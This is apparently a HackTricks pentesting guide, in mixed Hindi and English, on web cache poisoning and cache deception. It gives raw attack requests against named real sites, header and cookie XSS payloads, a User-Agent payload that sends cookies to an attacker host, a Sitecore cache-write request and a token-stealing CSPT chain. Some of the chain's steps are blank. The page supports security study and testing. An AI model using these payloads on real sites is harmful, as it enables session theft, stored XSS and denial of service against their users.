Cache Poisoning and Cache Deception

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

अंतर

What is the difference between web cache poisoning and web cache deception?

  • In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
  • In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.

Cache Poisoning

Cache poisoning का लक्ष्य client-side cache को manipulate करना होता है ताकि clients ऐसे resources लोड करें जो अप्रत्याशित, आंशिक, या attacker के नियंत्रण में हों। प्रभाव की सीमा प्रभावित page की लोकप्रियता पर निर्भर करती है, क्योंकि संक्रमित response केवल उन्हीं users को परोसा जाता है जो cache contamination के दौरान उस page को visit करते हैं।

Cache poisoning हमले के निष्पादन में कई कदम शामिल होते हैं:

  1. Identification of Unkeyed Inputs: ये वे parameters हैं जो हालांकि request को cache करने के लिए आवश्यक नहीं होते, पर server द्वारा लौटाए गए response को बदल सकते हैं। इन inputs की पहचान महत्वपूर्ण है क्योंकि इन्हें cache को manipulate करने के लिए exploit किया जा सकता है।
  2. Exploitation of the Unkeyed Inputs: Unkeyed inputs की पहचान के बाद अगला कदम यह पता लगाना है कि इन parameters का गलत उपयोग करके server के response को किस तरह attacker के लाभ के लिए बदला जा सकता है।
  3. Ensuring the Poisoned Response is Cached: अंतिम कदम यह सुनिश्चित करना है कि manipulated response cache में संग्रहीत हो जाए। इस तरह, कोई भी user जो cache poisoned रहने के दौरान प्रभावित page को access करेगा, उसे संक्रमित response मिलेगा।

खोज: HTTP headers की जाँच

Usually, when a response was stored in the cache there will be a header indicating so, you can check which headers you should pay attention to in this post: HTTP Cache headers.

खोज: Caching error codes

If you are thinking that the response is being stored in a cache, you could try to send requests with a bad header, which should be responded to with a status code 400. Then try to access the request normally and if the response is a 400 status code, you know it’s vulnerable (and you could even perform a DoS).

You can find more options in:

Cache Poisoning to DoS

However, note that sometimes these kinds of status codes aren’t cached so this test could not be reliable.

खोज: Unkeyed Inputs की पहचान और मूल्यांकन

You could use Param Miner to brute-force parameters and headers that may be changing the response of the page. For example, a page may be using the header X-Forwarded-For to indicate the client to load the script from there:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

बैक-एंड सर्वर से हानिकारक प्रतिक्रिया elicite करें

पहचान किए गए parameter/header के साथ यह जाँचें कि इसे कैसे sanitised किया जा रहा है और यह header से response में कहाँ और कैसे reflect हो रहा है या असर डाल रहा है। क्या आप इसे किसी तरह से abuse कर सकते हैं (XSS करना या अपना नियंत्रित JS लोड करवा कर? DoS करना?…)

प्रतिक्रिया को cached करवाएँ

एक बार जब आपने वह page पहचान लिया है जिसे abuse किया जा सकता है, कौन सा parameter/header उपयोग करना है और कैसे उसे abuse करना है, तो आपको उस page को cached करवाना होगा। जिस resource को आप cache में डालना चाह रहे हैं उसके आधार पर इसमें कुछ समय लग सकता है, हो सकता है आपको कई सेकंड तक प्रयास करना पड़े।

response में header X-Cache बहुत उपयोगी हो सकता है क्योंकि इसमें मान miss तब होगा जब request cached नहीं था और मान hit तब होगा जब यह cached हो।
header Cache-Control भी यह जानने के लिए महत्वपूर्ण है कि कोई resource cache हो रहा है और अगली बार कब वह resource फिर से cached होगा: Cache-Control: public, max-age=1800

एक और रोचक header है Vary। यह header अक्सर उन अतिरिक्त headers को संकेत करने के लिए उपयोग होता है जिन्हें cache key के हिस्से के रूप में माना जाता है भले ही वे सामान्यतः unkeyed हों। इसलिए, यदि कोई व्यक्ति लक्षित victim का User-Agent जानता है, तो वह उस specific User-Agent वाले users के लिए cache को poison कर सकता है।

cache से संबंधित एक और header है Age। यह सेकंड में बताता है कि object proxy cache में कितना समय रहा है।

जब किसी request को cache कर रहे हों, तो उपयोग किए जाने वाले headers के साथ सावधान रहें क्योंकि उनमें से कुछ अप्रत्याशित रूप से keyed के रूप में उपयोग हो सकते हैं और victim को वही header उपयोग करना होगा। हमेशा Cache Poisoning को different browsers के साथ test करें ताकि यह सुनिश्चित हो सके कि यह काम कर रहा है।

मूल cache poisoning केस स्टडीज़

HackerOne global redirect via X-Forwarded-Host

  • Origin ने X-Forwarded-Host के साथ templated redirects और canonical URLs बनाए, लेकिन cache key ने केवल Host header का उपयोग किया, इसलिए एक single response ने हर / विज़िटर का cache poison कर दिया।
  • Poison with:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
  • तुरंत / को बिना spoofed header के फिर से अनुरोध करें; अगर redirect बना रहता है तो आपके पास एक global host-spoofing primitive है जो अक्सर reflected redirects/Open Graph links को stored issues में अपग्रेड कर देता है।

GitHub repository DoS via Content-Type + PURGE

  • Anonymous traffic केवल path पर ही keyed था, जबकि backend ने unexpected Content-Type देखकर error state में प्रवेश कर लिया। वह error response किसी भी unauthenticated user of a repo के लिए cacheable था।
  • GitHub ने (अनजाने में) PURGE verb को भी सम्मानित किया, जिससे attacker एक healthy entry को flush कर सकता था और caches को मांग पर poisoned variant खींचने के लिए मजबूर कर सकता था:
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
  • हमेशा authenticated vs anonymous cache keys की तुलना करें, कम-कुंजी वाले headers जैसे Content-Type पर fuzz करें, और exposed cache-maintenance verbs के लिए probe करें ताकि re-poisoning को automate किया जा सके।

Shopify cross-host persistence loops

  • Multi-layer caches कभी-कभी एक नया object commit करने से पहले कई identical hits की आवश्यकता होती है। Shopify ने एक ही cache को कई localized hosts में reuse किया, इसलिए persistence का मतलब था कई properties पर प्रभाव।
  • छोटे automation loops का उपयोग करके बार-बार reseed करें:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
  • hit response के बाद, एक ही cache namespace साझा करने वाले अन्य hosts/assets को crawl करके cross-domain blast radius प्रदर्शित करें।

JS asset redirect → stored XSS श्रृंखला

  • Private programs अक्सर shared JS (जैसे /assets/main.js) को दर्जनों subdomains पर host करते हैं। अगर X-Forwarded-Host उन assets के redirect logic को प्रभावित करता है लेकिन cache key में शामिल नहीं है (unkeyed), तो cached response एक 301 बनकर attacker JS की ओर हो जाएगी, जिससे जहाँ भी वह asset import होता है वहां stored XSS उत्पन्न हो जाएगी।
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
  • यह मैप करें कि कौन से hosts एक ही asset path reuse करते हैं ताकि आप multi-subdomain compromise साबित कर सकें।

GitLab static DoS via X-HTTP-Method-Override

  • GitLab ने Google Cloud Storage से static bundles सर्व किए, जो X-HTTP-Method-Override का सम्मान करता है। GET को HEAD में override करने पर एक cacheable 200 OK लौटता था जिसमें Content-Length: 0 था, और edge cache ने key generate करते समय HTTP method को ignore कर दिया।
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
  • एक ही अनुरोध ने हर GET के लिए JS bundle को खाली बॉडी से बदल दिया, जिससे UI प्रभावी रूप से DoSing हो गया। हमेशा method overrides (X-HTTP-Method-Override, X-Method-Override, आदि) को static assets पर टेस्ट करें और पुष्टि करें कि cache method के अनुसार बदलता है या नहीं।

HackerOne static asset लूप X-Forwarded-Scheme के माध्यम से

  • Rails’ Rack middleware ने X-Forwarded-Scheme पर भरोसा किया कि यह तय करने के लिए कि HTTPS लागू किया जाए या नहीं। /static/logo.png के खिलाफ http को spoof करने से एक cacheable 301 ट्रिगर हुआ, इसलिए बाद में सभी उपयोगकर्ताओं को asset के बजाय redirects (या loops) प्राप्त हुए:
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
  • संभव हो तो scheme spoofing और host spoofing को मिलाकर highly visible resources के लिए irreversible redirects तैयार करें।

Cloudflare host-header केसिंग मिसमैच

  • Cloudflare ने cache keys के लिए Host header को normalize किया लेकिन raw casing को origins पर forward किया। Host: TaRgEt.CoM भेजने पर origin routing/templating में वैकल्पिक व्यवहार ट्रिगर हुआ, जबकि canonical lowercase cache bucket फिर भी populated हो रहा था।
GET / HTTP/1.1
Host: TaRgEt.CoM
  • mixed-case hosts (और अन्य normalized headers) को replay करके CDN tenants को enumerate करें और cached response बनाम origin response की तुलना करके shared-platform cache poisonings का पता लगाएं।

Red Hat Open Graph meta poisoning

  • Open Graph टैग्स के अंदर X-Forwarded-Host इंजेक्ट करने से, जब CDN ने पेज को cache कर लिया, तो एक reflected HTML injection stored XSS में बदल गया। परीक्षण के दौरान production users को नुकसान पहुंचाने से बचने के लिए एक harmless cache buster का उपयोग करें:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
  • Social media scrapers कैश किए गए Open Graph tags का उपभोग करते हैं, इसलिए एक poisoned entry payload सीधे visitors से बहुत दूर तक वितरित हो जाता है।

शोषण के उदाहरण

सबसे आसान उदाहरण

एक header जैसे X-Forwarded-For response में बिना सैनिटाइज़ किए प्रतिबिंबित हो रहा है.
आप एक बेसिक XSS payload भेजकर cache को poison कर सकते हैं ताकि पेज तक पहुँचने वाला हर कोई XSSed हो जाए:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Nोट: ध्यान दें कि यह /en?region=uk के अनुरोध को poison करेगा, न कि /en

Cache poisoning to DoS

Cache Poisoning to DoS

Cache poisoning through CDNs

इस this writeup में निम्नलिखित सरल परिदृश्य समझाया गया है:

  • CDN /share/ के तहत किसी भी चीज़ को cache करेगा
  • CDN %2F..%2F को decode या normalize नहीं करेगा, इसलिए इसे path traversal to access other sensitive locations that will be cached के रूप में उपयोग किया जा सकता है, जैसे https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • वेब सर्वर %2F..%2F को decode और normalize करेगा, और /api/auth/session के साथ प्रतिक्रिया करेगा, जो contains the auth token

Cookies किसी पेज की response में भी परावर्तित हो सकते हैं। यदि आप इसे दुरुपयोग करके उदाहरण के लिए XSS पैदा कर सकें, तो आप उन कई clients में XSS exploit कर पाएंगे जो malicious cache response लोड करते हैं।

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.

Delimiters, normalization और dots के साथ असंगतियाँ उत्पन्न करना

देखें:

Cache Poisoning via URL discrepancies

Cache poisoning path traversal के जरिए API key चुराने के लिए

This writeup explains यह समझाता है कि कैसे https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 जैसे URL के साथ एक OpenAI API key चुराना संभव हुआ, क्योंकि /share/* से मेल खाने वाली किसी भी चीज़ को Cloudflare द्वारा URL को सामान्यीकृत किए बिना cache किया जाएगा, जो तब किया गया था जब request web server तक पहुँचा।

यह भी बेहतर तरीके से समझाया गया है:

Cache Poisoning via URL discrepancies

web cache poisoning vulnerabilities को exploit करने के लिए multiple headers का उपयोग करना

कभी-कभी cache का दुरुपयोग करने के लिए आपको कई exploit several unkeyed inputs करने की जरूरत पड़ेगी। उदाहरण के लिए, आप एक Open redirect पा सकते हैं अगर आप X-Forwarded-Host को आपके नियंत्रण वाले डोमेन पर सेट करते हैं और X-Forwarded-Scheme को http पर सेट करते हैं। अगर server सभी HTTP requests को to HTTPS पर forward कर रहा है और redirect के लिए domain name के रूप में header X-Forwarded-Scheme का उपयोग कर रहा है, तो आप redirect द्वारा पेज कहाँ सूचित होगा उसे नियंत्रित कर सकते हैं।

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

सीमित Vary हेडर के साथ एक्सप्लॉइट करना

यदि आप पाते हैं कि X-Host हेडर को JS resource लोड करने के लिए domain name के रूप में उपयोग किया जा रहा है, लेकिन response में Vary हेडर User-Agent को संकेत कर रहा है, तो आपको victim के User-Agent को exfiltrate करने और उसी user agent का उपयोग करके cache को poison करने का तरीका ढूँढना होगा:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

URL और body दोनों में request डालकर एक GET request भेजें। यदि web server बॉडी वाला मान उपयोग करता है लेकिन cache server URL वाला मान cache कर लेता है, तो जो भी उस URL को एक्सेस करेगा वह वास्तव में बॉडी का parameter इस्तेमाल करेगा। जैसा कि James Kettle ने Github वेबसाइट पर पाया vuln:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

उदाहरण के लिए ruby servers में parameters को ; कैरेक्टर का उपयोग करके & की बजाय अलग किया जा सकता है। यह बिना-कुंजी वाले parameters के मानों को कुंजी वाले में डालकर और उनका दुरुपयोग करने में इस्तेमाल हो सकता है।

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

यहाँ सीखें कि कैसे Cache Poisoning attacks by abusing HTTP Request Smuggling किए जाते हैं।

Automated testing for Web Cache Poisoning

Web Cache Vulnerability Scanner का उपयोग web cache poisoning के लिए स्वचालित परीक्षण करने के लिए किया जा सकता है। यह कई अलग-अलग techniques का समर्थन करता है और highly customizable है।

Example usage: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

यह वास्तविक दुनिया का पैटर्न एक header-based reflection primitive को CDN/WAF व्यवहार के साथ जोड़ता है ताकि अन्य उपयोगकर्ताओं को परोसे जाने वाले cached HTML को विश्वसनीय रूप से poison किया जा सके:

  • मुख्य HTML ने एक untrusted request header (उदा., User-Agent) को executable context में reflect किया।
  • CDN ने cache headers को हटाया लेकिन internal/origin cache मौजूद था। CDN उन requests को भी auto-cache करता था जो static extensions (उदा., .js) पर समाप्त होते थे, जबकि WAF ने static assets के लिए GETs पर कम कठोर content inspection लागू किया।
  • Request flow की quirks ने एक .js path पर किए गए request को subsequent main HTML के लिए उपयोग किए जाने वाले cache key/variant को प्रभावित करने की अनुमति दी, जिससे header reflection के माध्यम से cross-user XSS संभव हुआ।

Practical recipe (observed across a popular CDN/WAF):

  1. एक clean IP से (पहले की reputation-based downgrades से बचें), browser या Burp Proxy Match & Replace के जरिए malicious User-Agent सेट करें।
  2. Burp Repeater में, दो requests का एक समूह तैयार करें और “Send group in parallel” का उपयोग करें (single-packet mode सबसे अच्छा काम करता है):
  • First request: उसी origin पर .js resource path के लिए GET करें जबकि malicious User-Agent भेज रहे हों।
  • Immediately after: main page (/) के लिए GET करें।
  1. CDN/WAF routing race और auto-cached .js अक्सर एक poisoned cached HTML variant को seed कर देते हैं, जिसे फिर उसी cache key conditions (उदा., समान Vary dimensions जैसे User-Agent) साझा करने वाले अन्य विज़िटर्स को serve किया जाता है।

Example header payload (non-HttpOnly cookies को exfiltrate करने के लिए):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

ऑपरेशनल टिप्स:

  • कई CDNs cache headers छिपाते हैं; poisoning केवल कई घंटे के refresh cycles में ही दिखाई दे सकता है। rate-limit या reputation triggers से बचने के लिए कई vantage IPs का उपयोग करें और throttle करें।
  • CDN के अपने cloud से कोई IP उपयोग करने पर routing consistency कभी-कभी बेहतर होती है।
  • यदि strict CSP मौजूद है, तो यह तब भी काम करता है जब reflection main HTML context में execute होता है और CSP inline execution की अनुमति देता है या context द्वारा bypass हो जाता है।

प्रभाव:

  • यदि session cookies aren’t HttpOnly, zero-click ATO संभव है by mass-exfiltrating document.cookie उन सभी users से जिन्हें poisoned HTML सर्व किया गया है।

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

एक Sitecore‑specific पैटर्न unauthenticated writes को HtmlCache में सक्षम बनाता है by abusing pre‑auth XAML handlers और AjaxScriptManager reflection. जब Sitecore.Shell.Xaml.WebControl handler तक पहुँचता है, तो एक xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) उपलब्ध होता है और निम्नलिखित reflective call की अनुमति होती है:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known.

For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):

Sitecore

कमज़ोर उदाहरण

Apache Traffic Server (CVE-2021-27577)

ATS ने URL के अंदर के fragment को बिना हटाए आगे भेज दिया और cache key केवल host, path और query का उपयोग करके बनाया (fragment को अनदेखा करते हुए)। इसलिए अनुरोध /#/../?r=javascript:alert(1) बैकएंड को /#/../?r=javascript:alert(1) के रूप में भेजा गया और cache key में payload नहीं था, केवल host, path और query थे।

403 and Storage Buckets

Cloudflare पहले 403 responses को cache करता था। गलत Authorization headers के साथ S3 या Azure Storage Blobs तक पहुँचने का प्रयास करने पर 403 response आता था जो cache हो जाता था। हालांकि Cloudflare ने 403 responses को cache करना बंद कर दिया है, यह व्यवहार अन्य proxy सेवाओं में अभी भी मौजूद हो सकता है।

Injecting Keyed Parameters

Caches अक्सर cache key में कुछ विशेष GET parameters शामिल करते हैं। उदाहरण के लिए, Fastly’s Varnish ने requests में size parameter को cache किया। हालांकि, अगर parameter का URL-encoded संस्करण (जैसे, siz%65) भी गलती से गलत value के साथ भेजा गया, तो cache key सही size parameter का उपयोग करके बनाया जाएगा। फिर भी, backend URL-encoded parameter की value को प्रोसेस करेगा। दूसरे size parameter को URL-encode करने से वह cache द्वारा अनदेखा हो जाता था पर backend द्वारा उपयोग किया जाता था। इस parameter को 0 देने पर cacheable 400 Bad Request error बन जाती थी।

User Agent Rules

कुछ developers high-traffic tools जैसे FFUF या Nuclei के user-agents को server load manage करने के लिए block कर देते हैं। Ironically, यह तरीका cache poisoning और DoS जैसी कमजोरियाँ ला सकता है।

Illegal Header Fields

RFC7230 header names में स्वीकार्य characters को निर्दिष्ट करता है। जिन headers में निर्दिष्ट tchar रेंज के बाहर के characters होते हैं उन्हें आदर्श रूप में 400 Bad Request response देना चाहिए। व्यवहार में, servers हमेशा इस मानक का पालन नहीं करते। एक उल्लेखनीय उदाहरण Akamai का है, जो invalid characters वाले headers को आगे भेजता है और किसी भी 400 error को cache कर देता है, बशर्ते cache-control header मौजूद न हो। एक exploitable पैटर्न पाया गया जहां \ जैसे illegal character वाला header भेजने पर cacheable 400 Bad Request error हो जाता था।

Finding new headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

The goal of Cache Deception is to make clients load resources that are going to be saved by the cache with their sensitive information.

First of all note that extensions such as .css, .js, .png etc are usually configured to be saved in the cache. Therefore, if you access www.example.com/profile.php/nonexistent.js the cache will probably store the response because it sees the .js extension. But, if the application is replaying with the sensitive user contents stored in www.example.com/profile.php, you can steal those contents from other users.

Other things to test:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Use lesser known extensions such as .avif

Another very clear example can be found in this write-up: https://hackerone.com/reports/593712.
In the example, it is explained that if you load a non-existent page like http://www.example.com/home.php/non-existent.css the content of http://www.example.com/home.php (with the user’s sensitive information) is going to be returned and the cache server is going to save the result.
Then, the attacker can access http://www.example.com/home.php/non-existent.css in their own browser and observe the confidential information of the users that accessed before.

ध्यान दें कि cache proxy को इस तरह configured होना चाहिए कि यह फाइलों को उनके extension (.css) के आधार पर cache करे न कि content-type के आधार पर। उदाहरण में http://www.example.com/home.php/non-existent.css का content-type text/html होगा बजाय text/css mime type के।

Learn here about how to perform Cache Deceptions attacks abusing HTTP Request Smuggling.

CSPT-assisted authenticated cache poisoning (Account Takeover)

This pattern combines a Client-Side Path Traversal (CSPT) primitive in a Single-Page App (SPA) with extension-based CDN caching to publicly cache sensitive JSON that was originally only available via an authenticated API call.

High level idea:

  • A sensitive API endpoint requires a custom auth header and is correctly marked as non-cacheable by origin.
  • Appending a static-looking suffix (for example, .css) makes the CDN treat the path as a static asset and cache the response, often without varying on sensitive headers.
  • The SPA contains CSPT: it concatenates a user-controlled path segment into the API URL while attaching the victim’s auth header (for example, X-Auth-Token). By injecting ../.. traversal, the authenticated fetch is redirected to the cacheable path variant (…/v1/token.css), causing the CDN to cache the victim’s token JSON under a public key.
  • Anyone can then GET that same cache key without authentication and retrieve the victim’s token.

Example

  • Sensitive endpoint (non-cacheable at origin):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • स्टैटिक जैसा दिखने वाला suffix CDN को कैशेबल में बदल देता है:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • CSPT in SPA auth header जोड़ता है और traversal की अनुमति देता है:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');

const apiUrl = `https://api.example.com/v1/users/info/${userId}`;

fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
  • Exploit chain:
  1. उपयोगकर्ता को ऐसे URL पर लुभाएँ जो SPA path parameter में dot-segments इंजेक्ट करता है, उदाहरण के लिए:
  1. The SPA issues an authenticated fetch to:
  1. Browser normalization resolves it to:
  1. The CDN treats .css as a static asset and caches the JSON with Cache-Control: public, max-age=…
  2. Public retrieval: anyone can then GET https://api.example.com/v1/token.css and obtain the cached token JSON.

Preconditions

  • SPA वही API origin (या cross-origin with working CORS) पर authenticated fetch/XHR करता है और sensitive headers या bearer tokens जोड़ता है।
  • Edge/CDN static-लुकिंग paths (e.g., *.css, *.js, images) के लिए extension-based caching लागू करता है और sensitive header पर cache key को vary नहीं करता।
  • base endpoint का origin non-cacheable है (सही), लेकिन extension-suffixed variant की अनुमति है या edge rules द्वारा blocked नहीं किया गया है।

Validation checklist

  • संवेदनशील dynamic endpoints की पहचान करें और .css, .js, .jpg, .json जैसे suffixes आज़माएँ। देखें कि content JSON बना हुआ है और Cache-Control: public/max-age तथा X-Cache: Hit (या समतुल्य, जैसे CF-Cache-Status) मौजूद हैं।
  • ऐसा client code खोजें जो user-controlled input को API paths में concatenate करता है जबकि auth headers जोड़ता है। authenticated request को अपने target endpoint पर redirect करने के लिए ../ sequences inject करें।
  • पुष्टि करें कि retargeted request पर authenticated header मौजूद है (उदा., proxy में या server-side logs के माध्यम से) और CDN ने response को traversed path के तहत cache किया है।
  • एक fresh context (no auth) से उसी path को request करें और पुष्टि करें कि secret JSON cache से serve हो रहा है।

Automatic Tools

  • toxicache: Golang scanner जो URL की सूची में web cache poisoning vulnerabilities ढूँढता है और कई injection techniques को टेस्ट करता है।
  • CacheDecepHound: Python scanner जो web servers में Cache Deception vulnerabilities को detect करने के लिए डिज़ाइन किया गया है।

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें